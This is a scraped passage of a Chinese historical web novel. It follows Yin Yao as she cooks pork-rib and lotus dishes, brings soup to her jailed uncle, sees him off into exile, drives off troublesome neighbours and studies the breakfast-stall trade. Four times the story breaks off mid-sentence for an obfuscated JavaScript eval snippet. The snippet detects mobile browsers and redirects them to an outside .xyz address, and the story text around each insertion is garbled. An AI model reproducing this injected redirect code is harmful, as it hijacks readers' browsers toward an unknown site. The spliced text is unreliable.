尹遥走出了房间，站在院中呼吸了一口新鲜空气：啊！好开心！吃点好的！ 身心舒畅地走进了厨房，清点昨儿康陶从南市采购回来的食材，她自言自语道：“唔，半扇猪肉在这儿，昨儿用了一条后腿；盆里这是两条鲫鱼，嗯嗯还活着；莲藕泡在水里，应该也新鲜的。如今这天气倒是不错，食材不放冰箱也不会容易坏……” “三娘，我来帮你吧。”陆娘子从房里出来，走进厨房道，“这几日你辛苦了，舅母虽然厨艺不精，但给你打打下手应该还成。” “好啊，那就辛苦舅母啦！”尹遥笑眯眯道，自从知道沈龄捡回了一条命，看来陆娘子心情也好多了。 陆娘子又笑道：“好三娘，咱们今晚吃啥？” 尹遥掰着手指头，美滋滋盘算：“我准备做个生焗排骨煲，炸个黄金藕盒，再炒个青菜，就差不多啦！” “我的个乖乖，这么复杂？这这这……舅母不会做呀！” “没事儿，舅母听我指挥就好。” “成！” 尹遥指挥着陆娘子把莲藕洗干净，再切成薄片，自己则是麻利地敲晕了鲫鱼、再剖膛破肚清理干净。 “三娘，你看这个薄厚成吗？”陆娘子切了几片，兴冲冲拿过来给尹遥瞧。 “行，舅母按这个薄厚切就成。” 看着陆娘子又兴冲冲跑回了案板前，十分认真地摆弄着白白胖胖的莲藕，尹遥笑着把清理好的鲫鱼丢在了盆里，又开始分解猪肉。 她一手拿着剔骨刀，一手按住那缺了后腿的半扇猪，先从骨头处下刀，将前腿分分割了下来。猪前腿也叫夹心肉，半肥半瘦、肉老筋多，比较适合做肉馅儿，正好待会儿剁碎了做黄金藕盒。 接下来她又找准猪的腹部位置，将怎么做都好吃的五花肉割了下来。这块五花肥瘦相间、红白分明，极其漂亮，就是略微瘦了点儿。尹遥暗暗可惜，这个年代的猪养肥不易，肥肉还比瘦肉贵，这块儿肉不适合红烧，不过拿来炒菜却是香得很。 再接下来是肩胛部位，得先将带淋巴的部分小心去除，吃进去的话对身体不好； 去掉淋巴后，露出来的就是细嫩细嫩的梅花肉，最适合拿来香煎，； 脊椎骨内侧的里脊肉，做个糖醋里脊岂不是美滋滋，光想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462886|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口水就快流下来了； 猪皮可以做肉冻、猪板油拿来熬猪油、椎骨再炖个汤…… 最后则是猪肋排，尹遥拎起这一大扇猪肋排，沿着肋骨的间隙将它分解成一条条，再用刀剁成大小均匀的块儿，今儿就拿来做个生焗排骨煲，必定是鲜嫩爽口，香而不腻！ 畅想到这儿，她忍不住哼起小曲儿，手下挥刀也越发有节奏了起来。 陆娘子刚埋头把一根莲藕切完，抬头就看到自家这外甥女，已经手起刀落地把半扇猪给分解成了一块一块，井然有序地堆在案板一侧，不禁张大了嘴：“三娘，你你你……你也太快了吧！” “哈哈，多谢舅母夸奖，熟能生巧罢了！”尹遥笑眯眯答道。正好猪肉切完了，她把切好的排骨丢到盆中，用清水浸泡出血水。然后又凑到陆娘子那边，看她刚切好的藕片，惊讶道：“咦，舅母的刀功也不错嘛？” 虽说陆娘子不怎么下厨，但认真的精神着实可嘉。这藕片切得虽慢，但每片的薄厚都很均匀，尹遥拿在手里比量，都感觉不到什么差异。 “还成吗？还成就好。”陆娘子用袖子抹了把汗，心道自己可真是没用，才切了根藕就累得不行。不过，这下厨还真挺有趣儿的？ 今儿的菜要用蒜的地方不少，尹遥又安排陆娘子去剥两头蒜，陆娘子兴冲冲地领命去了。 看她低头剥得认真，尹遥失笑，也不再打扰，而是从盆里把浸泡了片刻的排骨捞了出来，控干水分，加入豆豉、豆酱、酱油、饴糖、盐、生粉、米酒抓匀，放到一旁腌制。若能放些蚝油就更好了，但这个年代还没有这玩意儿，尹遥琢磨着，日后还得想想办法，如何能做点儿提鲜的调料出来。 排骨腌上后，尹遥拿了块儿剔下来的前腿肉，操刀剁成细细的肉馅儿，再加入各种调料搅拌上劲儿，用勺子盛出，铺满到一片藕片上，摊平再盖上另一片藕片，稍微按压一下，一个藕盒就包好了。 这边陆娘子的蒜也剥好了，尹遥便又给她示意了一次藕盒的包法，就交给她去继续了，自己则是站在旁边观察了片刻，发现对方包得还挺有模有样的。 尹遥满意地点点头，舅母真是可造之材呀！ 找出个大砂锅清洗干净，起锅热油，倒入花椒、生姜、葱段、大量蒜粒一起煸炒出香味儿，再将腌制好的排骨平铺在上面。生焗排骨煲讲究的就是个滴水不加，这样煲出来的才会更加外焦里嫩。 接下来盖上砂锅盖子，沿着锅盖边沿浇一圈儿米酒，撤下些木柴，转成中火开始生焗。 片刻后，随着砂锅里咕嘟咕嘟的声音，肉香味儿就传了出来。 陆娘子正在包最后一个藕盒，长吸了口气，笑道：“真香啊！肉香味儿还带着酱香和蒜香，舅母口水都要流出来了！三娘改日也教我做吧？” “没问题啊，舅母，不如我今儿先教你炸藕盒？”尹遥边淘着米，边笑道。 陆娘子手里捏着两片藕，兴致勃勃道：“我能行吗？好啊，那你教教舅母！” 15. 清炖羊肉 见陆娘子主动要学，尹瑶也不藏私，耐心地教她如何调制面糊、怎样判断油温和火候等等。 这一下午被尹遥支使得团团转，陆娘子倒是干劲儿满满，持着筷子认认真真地将藕盒一个个下到油锅中。 随着油滋啦滋啦的声音，锅中飘出阵阵香气，一个个藕盒也变得金黄金黄。 这会儿饭也熟了，尹遥把蒸笼挪到一边，洗干净锅后，将处理好的鲫鱼放到锅中小心地煎，待到表皮变色后，加入姜片、酱油、香醋，又倒入少许开水，鲫鱼很是鲜嫩，盖上盖子焖片刻就熟了。 开盖大火收汁儿，将鱼小心盛出，又把锅浓稠的汤汁浇在鱼身上。鱼身裹满了酱汁儿，再撒上一把葱花，那叫一个鲜亮诱人！ 灶边小砂锅里的排骨煲也焗好了，尹遥如法炮制，在上面撒了葱花，衬在色泽金红的排骨上面，简直让人垂涎三尺！ “生焗排骨煲、红烧鲫鱼、黄金藕盒来喽！”伴随着尹遥清脆的报菜名儿，几道丰盛的菜逐一摆在了桌子上。 “哇，阿姐，你做了这么多呀！”尹七娘蹦了起来，凑到桌前，眼睛都放出光来。 见众人都是一脸佩服的模样，尹遥笑眯眯摆了摆手：“今儿可不是我一个人的功劳，多亏了有舅母帮我呢！你们看，这金黄酥脆的藕盒，可都是舅母一个人炸的，快尝尝！” 康陶睁大了眼睛，难以置信道：“真的假的，婶子也会下厨了？” 陆娘子又腼腆又自豪地答道：“可不敢当，都是三娘手把手教我的，还不知味道好不好呢！快，大伙儿都尝尝！” 众人都笑了起来，沈老太太也道：“儿媳做的饭，那我可得尝尝！” 康陶跑到院子里，拎了个精致的瓶子回来，笑道：“看看这是什么？这可是来自波斯的三勒浆。东家之前给我的，我一直没舍得喝，今儿高兴，咱们索性把它喝掉！” 尹七娘好奇地跳了起来：“康大哥，我也要喝！” 康陶把手举得高高的逗她：“小馋猫，这可是酒，你还是乖乖喝水吧！” 看着尹七娘小小的个子，还一跳一跳想去抓酒瓶，把几个人都笑得不行：“哈哈哈哈哈……” “唔，这排骨炖得极好，外面焦酥里面软烂，还有一股子酱香，实在是太好吃了！” “阿姐，我还要再吃一碗饭，要拌上红烧鲫鱼的汤汁儿！上面再盖一大块鱼肉！” “儿媳妇这藕盒炸得可真不错，沾上椒盐咬上一口，都能听到咔嚓的脆响，吃在嘴里更是肉香四溢！” “康大哥拿的这三勒浆甜丝丝的，喝着有股果子的清香，我再来一杯！” 终于放下一大桩心事，今夜众人都是敞开了吃喝，一直笑闹到深夜。 沈老太太和尹七娘都睡下了，陆娘子收拾了碗筷拿去厨房清洗，尹遥走出房间，坐在院中透气儿。 她拄着下巴抬头看天空，今儿是九月十九，月亮虽没十五那么圆了，但还是很亮，明晃晃地映在半空，天边一片云彩也无。微风徐徐，吹得人舒服极了。 “三娘，”康陶也走了出来，坐在她旁边，跟她一起抬头望着月亮，“明儿我想去看看东家。” 尹遥方才喝得有些多，三勒浆虽然是用果子酿制的，但后劲儿很足，不由得有些头晕，晃得月亮都变成了好几个似的。 她用手指数着月亮，笑眯眯点头：“明儿天气一定很好，我跟你一起去！” …… 第二日天刚蒙蒙亮，尹遥便起床了。这几日在狱中，舅父必定日子难熬，不仅吃不好睡不好，搞不好还要受些皮肉之苦，她便琢磨着做点滋补汤，给舅父养一养身子。 她取了块上好的羊前腿肉，细细洗净后切块放入锅中，佐以葱、姜、花椒、米酒等，倒入冷水大火烧开，撇去浮沫去腥，再将洗净的红枣、黄芪等温补药材放入，盖上盖子，转为小火慢慢炖煮，不一会儿便有羊肉的鲜香味儿飘了出来。 羊肉、红枣、黄芪都是补中益气、健脾和胃的上佳滋补食材，这一道药膳羊肉汤，亦是前日尹遥进献给千金公主的药膳食谱之一，正适合沈龄如今的状况。 等待期间，她将去壳的粟米洗净，下入到陶瓮中加水熬煮约一刻钟，米汤便已从透明转为粘稠的金黄色，再加入枸杞和少许蜂蜜，将陶瓮的盖子留了个缝虚盖上，继续小火煨煮。 尹遥又取出了一根翠绿翠绿的莴笋，持起菜刀将外面粗硬的表皮削去，切成细细的莴笋丝，粗盐腌制片刻杀去水分，再用清水洗去表面的盐分，将水分沥干后加入酱油、香醋与少许饴糖。 起锅热油下蒜末激发出香味儿，淋在莴笋丝上，用手抓拌均匀入味儿，就是一碟子香脆爽口的凉拌莴笋丝。 将炖好的药膳羊肉汤盛在一个小碗中，撒上些芫荽，又盛了一碗枸杞粟米粥，并凉拌莴笋丝一同放入食盒，尹遥朝着刚套好马车的康陶道：“康大哥，咱们走吧！” 昨儿陆娘子洗完碗也听到了两人的谈话，亦说要跟着，于是三人一起登上了马车，待到坊门一打开，便第一时间赶往洛州府衙。 到了府衙外，康陶朝衙役讲明来意，如今沈龄已不是死囚，可以允许亲眷探望了。三人便由狱卒引领着，一路进了洛州狱。 经过长长的通道，穿过杂乱污秽的牢房，最后停在了最里面的一间门口。 康陶往狱卒手里塞了一串铜钱，陪笑道：“官爷，咱们跟犯人单独说会儿话，成不？” 狱卒掂量了一下，满意地点点头：“行，那你们小声点儿。” 那牢房中只有一扇小小的高窗，也没有点油灯，只能感受到一片漆黑阴冷。一个男子垂着头坐在角落里，动也不动一下。 陆娘子扑了上去，扶着栏杆叫了一声：“郎君！”眼泪就滚了下来。 那男子听到声响，神情有些呆滞地往栏杆外看去，从黑暗中露出一张长相端正却憔悴不堪的脸，正是沈记的东家——沈龄。 他不可置信地瞪大了眼睛，半天才反应过来，扑到栏杆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469488|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前抓住陆娘子的手：“娘子！康陶！这是……这是三娘？你们怎么来了？” 康陶也紧紧抓着沈龄的手，激动道：“东家，是我们，是我们！我们来探你了！你被改判了！不用被杀头了！” 沈龄在这狱中蹲了两日，知道自己这次得罪了权贵，只以为死定了，早就已经万念俱灰。这会儿听了康陶的话，他怔愣了半天，这才瘫坐在地上，喃喃道：“真的吗……我，我不用死了？” “对，您没听错！”经过康陶一番解释，沈龄终于明白这几日都发生了什么，也知道自己被改判了流刑，三个人抱在一起又哭又笑。 尹遥安静地陪在旁边，待几人情绪稍微平复一些，这才上前施了一礼，笑道：“三娘拜见舅舅，舅舅这几日受苦了！” 沈龄抹了把眼泪，摸摸她的头感慨地比划：“三娘都长这么大了，我上次见你时，你还才只有那么一点儿呢。” 言毕，他又面露惭愧：“都怪舅舅，本来想着把你和七娘接过来好生抚养，谁知道出了这么大的事儿，这几日反倒叫你东奔西走的……唉！” 尹遥扶着他的手臂，微嗔道：“舅舅说的哪里话，咱们都是一家人，自然是要彼此扶持的，难道只能舅舅照应外甥女，外甥女就不能帮着舅舅了？” 沈龄连连点头，道：“好，好，一家人不说两家话，舅舅都记在心里了。” 将手中的食盒打开，尹遥取出带来的羊肉汤，隔着栏杆端了过去：“舅舅这几日怕是寝食难安，不如先喝碗汤压压惊吧，边吃咱们边慢慢聊。” 尹遥估计得一点儿都没错，沈龄直以为自己就要被斩首了，在狱中简直是三魂失了六魄，还哪有心情吃喝？再加上每日狱卒拿来的不是发霉的饼子，就是夹生的豆子汤，也根本难以下咽。 这才不过几日，好好儿的一个体面商人，便已沧桑落魄了不少。 如今人逢喜事精神爽，沈龄手中接过那散发着清香的羊汤，一直忽略了的饥饿感也扑面而来。 他迫不及待地仰起头咕咚咕咚，瞬间便将一碗汤喝了个干净，又持起汤勺将羊肉扒拉到口中，快速咀嚼了几下便咽下肚去。 陆娘子忙将粟米粥和莴笋丝也递了过去，沈龄端着又是一阵狼吞虎咽，全部吃了个干净。 满足地长叹一口气，捂着肚子打了个饱嗝儿，他感觉自己终于活了过来。 沈龄开了几十年食店，也早尝遍了洛阳城的各家招牌，自然是个识货之人，竖起大拇指道：“今儿这吃食真是不错，火候拿捏的恰到好处不说，而且既美味又滋补，看来三娘手艺果然了得！” “舅舅过奖了，我这还不是从阿娘那儿学来的吗？”尹遥调皮地眨了眨眼睛。 之后几人又交换起信息，沈龄虽说捡了条命回来，但家里的店铺和宅子、田产等一应财物，却仍是判了赔给亡者亲眷，不曾返还。 眼见阿爹阿娘打拼了大半辈子的偌大家业，就这么在自己手上没了，沈龄的情绪不免低落下来。 16. 从头再来 尹遥倒是看得开，她环顾了下四周，见没外人在附近，便低声劝道：“此番破财免灾，倒也不是件坏事。裴长史死了儿子，但既然有公主出面斡旋，他便不好再杀了舅舅撒气。咱们赔些钱财，让他心里好过些，这事儿也就算揭过去了，不然以后难免还要来找咱们家麻烦，那岂不是没完没了的官司？” 沈龄叹了口气，三娘说的也有道理。俗话说民不与官斗，此番保住性命已属不易，钱财什么的…… 他不再去想这些有的没的，只笑道：“三娘说的对，钱财都是……” 与此同时，尹遥跟他异口同声：“钱财都是身外物，咱们再赚就是！” 舅甥俩相互对视，尹遥噗嗤一笑：“阿翁当年就是从挑货郎起家的，如今咱们做子孙的有样学样，有什么大不了的？” 沈龄欣慰地看着自己这外甥女，伸出大拇指夸赞道：“不愧是我们沈家的娃儿，有志气！” 尹遥无所谓地耸了耸肩，那是自然，怕什么，不过从头再来罢了！ 几人聊了一会儿，被狱卒催促着，这才依依不舍地离开。回去的马车上，康陶在车厢外迟疑半晌，还是开了口：“婶子，三娘，我想跟你们商量个事儿。” 陆娘子出来之后又有点儿绷不住了，在默默地抹泪，闻言泪眼婆娑道：“怎么了？” 康陶深吸一口气，似是下定了决心：“东家这次流放，我打算陪他一起上路。” 沈龄此次被判的是“流放岭南六年，并居役两年”，这也就意味着，他要在岭南道流放六年，并且其中前两年需要服劳役。 在发遣之前，还要决杖一顿，发遣后又必须日行五十里，只能步行不得乘车，对身体是极大的消耗，每年死在路上的流放犯不知有多少。 即便是活着到了岭南，役所条件也是极为艰苦，更何况那里又瘴气弥漫、潮湿难耐，中原人去了水土不服，患病的比比皆是，对沈龄这样一个中年人来说，真可谓是生死未卜，根本不知道能不能全须全尾的回来。 康陶就是想到这一层，才想要陪着沈龄前去，不仅路上能照应些，到了流放地也能帮沈龄做做工，减轻些他的负担。 不过让他犹豫了许久的，倒不是流放路上的艰辛，而是洛阳城里的女眷们。这一家子老的老小的小，连个男丁都没有，可要怎么生活下去呢？ “康大哥别担心，”看出了康陶的纠结，尹遥安慰道，“家里还有我呢，我方才可是刚跟舅舅夸下海口，说自己能学着阿翁重新起家呢！你尽管放心去，我一定能把家里操持好。 她又轻轻撞了下陆娘子的肩膀，笑道：“再说了，这不还有舅母帮忙吗？” “哎，哎，三娘说得没错，”陆娘子抹了把泪，难得露出了一份坚定，“我也一定好好振作，会照顾好家里的，康陶别担心。就是这千里迢迢的，可要辛苦你了……” 于是事情就这么敲定了，尹遥自去帮康陶和沈龄整理行囊不提。转眼又过了两日，便到了沈龄发遣的日子。 全家人都前往长夏门外相送，康陶也背了个小包裹，准备好了一同前往。 流刑前与亲人话别，算是朝廷对百姓的一个恩典，因此衙役并不为难，只留沈家一家人在凉亭中话别，自去一旁歇息。 沈龄身上带着重枷，背后还有仗刑的痕迹，面色有些憔悴，但仍是撑着笑容：“阿娘，千万要保重身子，等儿子回来再好好尽孝。” 沈老太太上下打量他，自己这儿子入狱不过短短几天，就瘦了一大圈儿，叹道：“我早就说让你小心些，不要什么人都往家里领，这回你可后悔不曾？” 在狱中时沈龄也反复问过自己，终于还是摇了摇头：“儿子左思右想，都觉得不曾后悔。只是连累了阿娘和家人，还丢了阿爹留下的家产，儿子却实在是愧疚……” 沈老太太看着这早已长大成人、能够独当一面的儿子，面上露出一丝笑意：“罢了，你若不是这样的人，虽然未必会招来这灾祸，可也不会有康陶和三娘拼力搭救。福祸向来相依相存，只是你日后要多加留心，万万不要重蹈覆辙才好。” 沈龄忙点头应下，康陶又把尹遥拉到了一边，低声嘱咐：“三娘，我跟东家走后，你一定万事小心。我已跟许二郎说好了，多多照应咱们家，你若有事便去寻他，知道吗？” 尹遥见他说得认真，也正色点了点头：“康大哥，放心吧，你跟舅父也要多加保重，一路平安啊。” 众人一番告别后，沈龄和康陶便一同踏上了前往岭南的路。 “阿婆，舅母，咱们也走吧。”目送他们的身影直到不见，尹遥召来一辆小马车，将一老一小送上了车，自己则跟陆娘子慢慢往回走。 方才送走了自家郎君，陆娘子还沉浸在离别愁绪里，尹遥也没打扰她，给她空间让她自己缓解情绪。 如今舅舅的事暂时告一段落，尹遥也开始盘算，接下来的日子该怎么过。那日她承诺了沈龄，也承诺了自己，不但要好好照顾家人，有朝一日还要把阿翁的沈记食店拿回来，继续发扬光大才行！ 不过嘛，饭要一口一口吃，事也要一点一点做，眼下最要紧的还是一家人怎么生活下去。 前日她已让康陶去南市，将家中的马车卖了。舅舅和康陶走后，家里没人会驾车，而且马匹的饲养每月也要花不少钱，不是如今的沈家能负担得起的。 连马带车卖了一共四十贯，舅舅流放山高路远，尹遥又让康陶兑换成了便携的金银锭，全部带走留着路上打点花销。 而如今她手上能动用的银钱，就是当初从华阴带出来的，那两枚五两重的小银锭，折算下来是十贯钱，也是她母亲沈娘子这些年的积蓄。另外就是前来洛阳的路上，胡商米思禄支付的四枚金币酬劳，价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473348|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值两贯钱。去掉这几日的日用和打点的花销，尹遥手上一共剩下十一贯。 十一贯也就是一万一千钱，若是按照一比四的购买力折算成现代货币，差不多是四万多块。这个数额属于一眼看上去还行，至少不会马上饿死，可却又远远不够一家人过冬的。 毕竟如今一升米要一文钱，一只鸡要四十文，一斤猪肉要五文钱，一担柴火要五十文，油盐酱醋也样样都要钱…… 再加上天气越来越冷了，过冬的衣物也得做。家里的马车又卖掉了，若是日后要出门采买，还得再去临时租一辆。 她打听过了，这洛阳城中租车的行价，是一匹马负重百斤行一里路，费用两文钱。算下来从家里到南市差不多五里，采买一次货物，送货到家的车马费就是三五十文，倒也还算…… 唉，都说一文钱难倒英雄汉，还真是好贵啊！！ 衣、食、行样样都要钱，唯一令人欣慰的是，众人住的房子是康陶的，倒不需要付租金，否则她就更要欲哭无泪了…… 总之杂七杂八加起来，尹遥手上这十一贯是真的撑不了多久，必须尽快找到赚钱的途径才行。 脑子里胡乱盘算了半天，她终于还是叹了口气：前路漫漫啊！ “二位娘子，麻烦让让路，让老汉过去。”这时，一个挑着担的老翁从旁路过，憨厚地笑道，打断了尹遥的思绪。 尹遥忙拉着陆娘子避让到一边，老翁道了声谢，便急匆匆越过二人往前赶路。 看到老翁担子里的东西，尹遥眼睛瞬间一亮，扬声道：“老丈，请等一下，您这是要去南市卖菜吗？” “小娘子，你有什么事儿吗？”老翁被叫住，心中不由有些急躁。 “老丈别急，让我看看您的菜，”尹遥笑眯眯凑了过去，仔细看着对方担子里的菜。 只见里面多半是大白菜，另外小半则是其他几种应季蔬菜，看起来都是今儿才摘的，水灵灵、绿油油新鲜得很。 她满意地点点头，笑道：“老丈，不知你这菜价几何？若价格合适，我可以全部买下来。” “小娘子此话当真？可莫要调侃老汉。”那老翁一听十分惊讶，他今儿本就耽误了些时辰才出门，到这神都城都快中午了，还得再行到南市去卖菜，也不知卖不卖的完。却没想到这刚进城，就来了个大客户？ 他忙把担子卸了下来，一五一十报起了价格。 经过一番讨价还价，尹遥最终以六十文的价格，包下了老汉担子里的八十斤白菜，再加上一些扁豆角、韭菜、紫苏叶等几种应季蔬菜。 尹遥巧舌如簧，老翁稀里糊涂就被说动了，直到接过她付的铜板，才反应过来，嗐了一声：“哎哟小娘子，你也太会算账了，平日里我这菘菜就要卖一文钱两斤呢，还有这秋韭，可马上就要过季节了，如今可要三文钱一斤，今儿老汉可是亏喽！” 17. 市场调研 “话也不是这么说的。”尹遥笑着摆了摆手，开始给老翁算起账来，“老丈您这一担菜挑到南市去，散卖的市价也就是七十文，而且一下午也未必能卖光呀！若是贱价卖给菜行，那到手的就更少了。” “再说了，您挑到南市得走大半个时辰，可我家就在附近，送过去最多半刻钟，您又何必舍近求远呢？是不是这个理儿？” “行行行，小娘子说得也有道理。”老翁向来耳根子软，尹遥这一通噼里啪啦，他哪里招架的住，很快就又被说服了，乐呵呵应了下来。 得知老翁家住洛阳城郊，家里种了几亩蔬菜，每隔五日就会摘一波，来神都城卖。尹遥又同他约好，五日后还在城门口见，仍旧按照这个价格包下一整担蔬菜，老翁自是欣然应允。 尹遥摸了摸下巴，住在城南虽然离城中心远了些，但也不是没有好处。 这洛阳城中又无农田猪舍，每日都靠城外的百姓入城售卖，城北是北邙山杳无人烟，大家伙儿还不都得先从南门入城？ 尹遥决定往后几日都一早来城门口蹲蹲看，什么肉蛋奶啊、木炭柴火之类的，通通都找到供应商，往后就不用花大价钱雇马车，去南市的各家商行采买喽！ 这就叫一手货源直购，拒绝中间商赚差价！ 解决了采买的难题，尹遥心满意足地挽起陆娘子，两人有说有笑地进了嘉庆坊。刚要拐进自家巷子，却听到里面传来一阵吵嚷声。 “沈老婆子，你不是很厉害吗？你不是家里赚了钱，跑去章善坊买了大宅子吗？如今怎么又灰溜溜搬回这狗窝了？”一个女人正在阴阳怪气的叫骂。 二人停下脚步，尹遥侧耳听了听，像是韦老太的声音，中间还夹杂着一对中年男女小声的劝说，还被她给骂了回去。 她当下朝陆娘子使了个眼色，又指了指路边地上的一根木棍，陆娘子跑去捡了起来，战战兢兢地拿在手里。 尹遥则是从腰后抽出了一根……擀面杖？ 陆娘子瞪大了眼睛，尹遥耸了耸肩，如今家里全是女眷，安全第一，她当然得做好准备呀！ 两人刚蹑手蹑脚摸进巷子，就听到自家紧闭的院门中，传来了沈老太太中气十足的声音：“哦，你说这里是狗窝，那你在这儿住了一辈子，就是当了一辈子狗吗？打算什么时候做个人啊？” “你个老不死的！”韦老太听到自己被骂成了狗，气得直跳脚，又高声骂了起来。 话音还未落，一个年轻男子也开了口，流里流气道：“阿婆别跟她一般见识，他们家倒霉啦！我听说沈大郎杀了人，被判了流放，肯定要死在路上回不来喽！” 那声音一听就是韦大这泼皮，尹遥心头火起，这个狗东西，自己还没去寻他家麻烦，他们倒敢自己找上门了！ 连陆娘子都被气得嘴角直哆嗦，恨不得立刻冲上去，这时又听到尹七娘在门里一板一眼道：“我舅父早晚会回来，而且阿婆还有我和我阿姐！不像你阿婆，只有你这么个孙子！不要脸！丢死人！呸呸呸！” 尹遥原本一脸怒意，听到这儿却差点笑出来。 没想到啊，七娘竟也这么有战斗力，就是她词汇量太小了，骂完了“不要脸”、“丢死人”之后，就只会“呸呸呸”了…… 韦老太平日里打鸡骂狗，嘴上从来不认输，唯独就是当年在沈老太太身上吃了不少亏，最可气的是沈家后来还发达了、搬走了，让她气都没处撒。 谁承想啊，这风水轮流转，发达了的沈家也能破落，又再搬回这嘉庆坊了！ 一发现这事儿，可把韦老太高兴坏了，下决心一定要上门，把当年结下的仇给报一报！ 可谁知那天早晨一登门，就被她家的孙女儿给收拾了一顿，不但丢了脸面，更是赔出去一块上好的豕肉，还有好几个鸡蛋！这口气韦老太哪能忍啊，这不是瞧着今儿那泼辣的小娘子不在家，便又上门来挑衅了。 不过嘛，沈家的女眷也不是吃素的。沈老太太宝刀未老，讲究个以牙还牙、以眼还眼；尹七娘也是毫不怯场，点名道姓骂韦大不要脸。这一老一小也不开门，就隔着门回呛，倒是一点儿亏没吃着。 韦老太还欲继续撒泼，就背后传来听到几声咳嗽。她扭头一瞧，竟是沈家那泼辣的孙女儿，正手里转着根擀面杖走上前，笑吟吟道：“哟，这不是韦婆婆嘛，怎么今儿有空来串门啊？又给孙女儿带了什么好吃的？” 不仅如此，她后面还跟着个一脸怒气的陆娘子，眼见着随时要冲上来拼命。韦老太最是惜命，左右瞅了瞅两人手里的棍子，也不敢再骂了，只缩了缩脖子，讪讪道：“哟，两位娘子回来了啊，你们家沈郎君一切都好吧？” 尹遥皮笑肉不笑：“韦婆婆这么惦记我舅父，惦记得都亲自上门了，不如随我同去洛州衙门，我送你去岭南陪陪他？” “不用，不用，我这不就是来探望探望老姐妹嘛……” 韦大见到尹遥眼前一亮，嬉皮笑脸道：“小娘子，是你呀，咱们又见面了！” 尹遥眯起双眼盯着他看了片刻，忽然柳眉倒竖，用擀面杖直指着他的面门，怒喝道： “滚！狗东西，你再敢出现在我面前，我就一刀砍死你！看是你活得久还是我舅舅活得久！快滚！” 韦大被她的猛然变脸吓了一跳，又被劈头盖脸痛骂了一顿，张嘴刚想说点什么，尹遥又将擀面杖用力地朝空中抡了几下。 家里有两根擀面杖，一根是锥子型的，两头尖尖重量很轻，专门用来擀饺子皮儿；今儿特意带出来的这根，则是粗粗重重有将近两尺长，平日里拿来擀大张面饼的。 尹遥这会儿挥舞起来，简直是虎虎生风，若是敲到头上，少不得要头破血流。 韦大被骇得后退两步，韦老太怂人不吃眼前亏，赶忙拉起自家孙儿，灰溜溜地钻回了家里。 韦家的儿子跟媳妇却还留在后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478500|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，韦大郎一脸羞愧地作揖，结结巴巴给二人赔不是。两个老实人成日里夹在这祖孙中间，日子也是难过得很，尹遥没多说，点了点头就挥手让他们回去了。 她又满意地掂了掂手里的擀面杖，重新插回了腰间：嗯，果然内耗不如发疯，发疯创飞全世界。 …… “阿姐，咱们今儿怎么又不在家吃早饭呀？”一大清早太阳还没出来，尹七娘便已坐在街边的小摊儿上，一脸苦哈哈地捞着碗里的馎饦。 唉，这馎饦寡淡无味，比起阿姐的手艺可差远了，尹七娘边吃边嫌弃。 她旁边坐着的尹遥，则是手里举着个捻头在慢慢啃，一双眼睛盯着往来的百姓，口中还念念有词地嘀咕着什么。两人的桌上还摆着好几种早点，什么蒸饼、胡饼、软枣糕之类的，都是方才在街边摊儿买的。 在这洛阳城里，若想租个店铺做生意，便只能去南市或者北市，她之前也略微打听了一下，即便是在规模比较小的北市，租个最小最偏僻的店铺，也得一个月五贯钱。 就她手上那点儿银钱，别说租个店铺了，便是连一家人过冬都难。 既然暂时租不起店铺，那么做这流动小摊贩也是个不错的主意。毕竟嘛，哪个厨子创业不是从早点摊儿开始的呢？ 而作为白手起家的创业人士，尹遥自然也要迈出第一步——市场调研。 这不，这几日天还没亮，她就领着妹妹出了门，跑到嘉庆坊的主街上，把每个摊子的吃食都买了个遍，又坐在馎饦摊儿上，观察起了客流情况。 嘉庆坊位于洛阳城的东南角，共有四个坊门，其中东门和南门是通往洛阳城郊的，平日里走的人不多，西门和北门则是通往城中心和城门方向，一大早就有不少小商贩，在这两个门附近的街上开始摆摊儿售卖早点。 按照她这几日的观察计算，每日从西门经过的百姓，至少也有上千人，不少都会在小摊上买点儿早饭吃。 